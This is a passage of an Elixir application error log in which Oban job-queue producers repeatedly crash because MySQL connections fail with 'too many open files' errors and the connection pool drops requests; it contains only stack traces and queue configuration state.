    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:31:01.245011Z], limit: 50, uuid: "ae8219f3-6e8b-4f0c-bbfb-b714a5980fdc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:01.245017Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.251543>, refresh_timer: #Reference<0.2525715032.1077411843.251528>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:15.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:15.715000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:16.909000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:17.853000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:21.918000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:23.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:24.085000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:31:13.243962Z], limit: 5, uuid: "a8dfd746-a008-4c34-9ce7-da72e01fa9fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:13.243968Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.119447>, refresh_timer: #Reference<0.2525715032.1099431938.20126>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:31:13.242846Z], limit: 20, uuid: "c6a232e2-e8c8-47a4-9312-f51911441b37", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:13.242851Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.251631>, refresh_timer: #Reference<0.2525715032.1077411843.251610>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:31:13.246488Z], limit: 5, uuid: "980708df-1b3c-4299-ae35-a47064b249f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:13.246494Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.251633>, refresh_timer: #Reference<0.2525715032.1121189889.119431>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:31:13.248829Z], limit: 3, uuid: "bbc9f7de-f6ca-4c0b-9a44-d23de9f8de8a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:13.248835Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.12363>, refresh_timer: #Reference<0.2525715032.1099431938.20151>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:31:13.242574Z], limit: 10, uuid: "0bc21f98-8cc3-48cf-ad22-220021912b45", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:13.242581Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.251632>, refresh_timer: #Reference<0.2525715032.1077411843.251596>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:31:13.250874Z], limit: 50, uuid: "fe29c785-3192-4b8a-80b9-48b051b451cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:13.250880Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.251634>, refresh_timer: #Reference<0.2525715032.1121189889.119438>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:27.208000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:27.964000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:31.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:31.913000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:32.562000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:33.535000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:34.377000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:31:25.238632Z], limit: 5, uuid: "840a8123-52c5-41c6-bb67-7d5bb8d52f34", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:31:25.238638Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.12721>, refresh_timer: #Reference<0.2525715032.1121189889.119545>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
